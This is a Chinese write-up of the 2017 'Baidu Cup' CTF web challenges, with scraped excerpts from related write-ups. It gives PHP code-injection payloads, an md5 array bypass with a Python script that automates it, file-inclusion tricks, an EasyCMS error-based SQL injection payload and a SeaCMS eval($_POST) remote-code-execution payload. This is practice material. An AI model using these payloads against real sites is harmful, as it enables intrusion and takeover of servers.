“百度杯”CTF比赛 2017 二月场(Misc Web)

  • 爆破-1:

打开链接,是502

我直接在后面加个变量传参数:?a=1

出了一段代码

var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS

给hello参数传个GLOBALS

得到flag

  • 爆破-2:

打开链接

var_dump()会返回数据变量的类型和值

eval()会把字符串当作php代码

有两种方法得到flag

1:?hello=file(‘flag.php‘)

2:?hello=);show_source(‘flag.php‘);var_dump(

  • 爆破-3:

打开链接,还是php代码

<?php
error_reporting(0);
session_start();
require(‘./flag.php‘);
if(!isset($_SESSION[‘nums‘])){
  $_SESSION[‘nums‘] = 0;
  $_SESSION[‘time‘] = time();
  $_SESSION[‘whoami‘] = ‘ea‘;
}

if($_SESSION[‘time‘]+120<time()){
  session_destroy();
}

$value = $_REQUEST[‘value‘];
$str_rand = range(‘a‘, ‘z‘);
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION[‘whoami‘]==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION[‘nums‘]++;
  $_SESSION[‘whoami‘] = $str_rands;
  echo $str_rands;
}

if($_SESSION[‘nums‘]>=10){
  echo $flag;
}

show_source(__FILE__);
?>

关键几点:

变量str_rand的值是2位小写字母

如果SESSIONS中的whoami参数和参数value的值相等,并且md5()函数处理后的变量value的第5位开始往后4位等于0,nums就会加1,whoami的值就也会更新,当nums大于10的话,就能得到flag了

数组可以绕过md5的这个判断,因为md5()函数处理一个数组会返回null,null==0

第一次传参,?value[]=ea

第二次传参,?value[]=mj,以此类推

可以写个python脚本跑一下

import requests

s = requests.session()

strs = [‘abcdefghijklmnopqrstuvwxyz‘]

url = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=ea"
r = s.get(url)

for i in range(10):
    url_1 = "http://b9998c89f8054c61b75dcf6d48d1d164707c9299b7f949f4.game.ichunqiu.com/?value[]=" + r.text[:2]
    r = s.get(url_1)
    print(r.url)
    if ‘flag{‘ in r.text:
    	print(r.text)

运行结果

得到flag

原文地址:https://www.cnblogs.com/sch01ar/p/8904178.html

时间: 2024-10-09 00:06:46

“百度杯”CTF比赛 2017 二月场(Misc Web)的相关文章

nginx配置不当导致的目录遍历下载漏洞-“百度杯”CTF比赛 2017 二月场

题目:http://98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.com/login.php 题目内容: 网站要上线了,还没测试呢,怎么办? 经过测试在点击Mini-Zone的时候会有如下数据包. GET /index.php HTTP/1.1Host: 98fe42cede6c4f1c9ec3f55c0f542d06b680d580b5bf41d4.game.ichunqiu.comUpgrade-Insecure

百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打开,并且输出文件内容(反单引号在linux中表示命令) 还有一种方法是用php://filter直接读取dle3456aae.php的源码,然后再base64解码 原文地址:https://www.cnblogs.com/BOHB-yunying/p/10610515.html

“百度杯”CTF比赛(二月场)-web-writeup

爆破一: 打开网页看到源代码: 根据提示这题就是找变量的值,本想爆破,但不太现实.百度 php获取变量的值 有个超全局数组 $GLOBALS 爆破二: 打开网页看到源代码: 看到了eval() 函数,想到命令执行 提示不在变量中,应该再flag.php中 Exp: ?hello=);system("cat flag.php");// 闭合前面,注释后面 但有一个问题,就是会被i春秋自己的waf挡,我们改成post,然后传一个参数,让其值大约2万个左右. 爆破三: 打开网页看到源代码:

2018小训—“百度杯”CTF比赛_九月场_SQLi

题目源: i春秋CTF大本营 小工具: Burp Suite(抓包神器) 思路点用黄色加粗标记,操作点用绿色加粗标记 解题的流程: 1.点进去一片空白习惯性,看源码.<!-- login.php?id=1 -->,看来要改改url.将原来的"/XXXXXX.php"换成"/login.php?id=1".访问之后思维变成了直接开注入?但是没什么用...如果这时用sqlmap测试会发现这是个假的注入点.真的在哪里?只能猜猜,访问index.php.在控制台

2018小训—2017_“百度杯”CTF比赛_十月场_Login

题目源: https://www.ichunqiu.com/battalion?q=2725 i春秋上滴题目 小工具: Burp Suite(抓包神器).http://base64.xpcha.com/(base64在线解码网站).https://tool.lu/coderunner/(php在线编写运行网站) 思路点用黄色加粗标记.操作点用绿色加粗标记. 解题的流程: 1.登录题,输username:admin password:admin没什么软用(前期各种尝试判断可能的题型),检查源码,在

“百度杯”CTF比赛 九月场_YeserCMS

题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直接进行报错注入 xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),

“百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/search.php?searchtype=5&tid=&area=eval($_POST[1]) 之后用菜刀连接,但乍一看并没有flag.php 反手去查了一下海洋cms的数据库配置文件的存放地址: 出去用菜刀连接数据库 编辑完成后右键数据库管理,可以看到flag了 原文地址:https://ww

“百度杯”CTF比赛 九月场_123(文件备份,爆破,上传)

题目在i春秋ctf训练营 翻看源码,发现提示: 打开user.php,页面一片空白,参考大佬的博客才知道可能会存在user.php.bak的备份文件,下载该文件可以得到用户名列表 拿去burp爆破: 这七百多号人就没个1999年生的?拿1998继续试.....又凉了...一直试到1990年,终于有个大佬是这年的 账号lixiuyun,密码lixiuyun1990 进入到一个空白的个人中心 直接在火狐查看器中将注释符删除,然后先上传一个图片试试 在文件名后加上.php返回不能出现php,那就拿ph

“百度杯”CTF比赛 十月场_Login

题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容 接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数 尝试在请求头中加入show参数: 返回一段源代码,开始审计之路: <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SE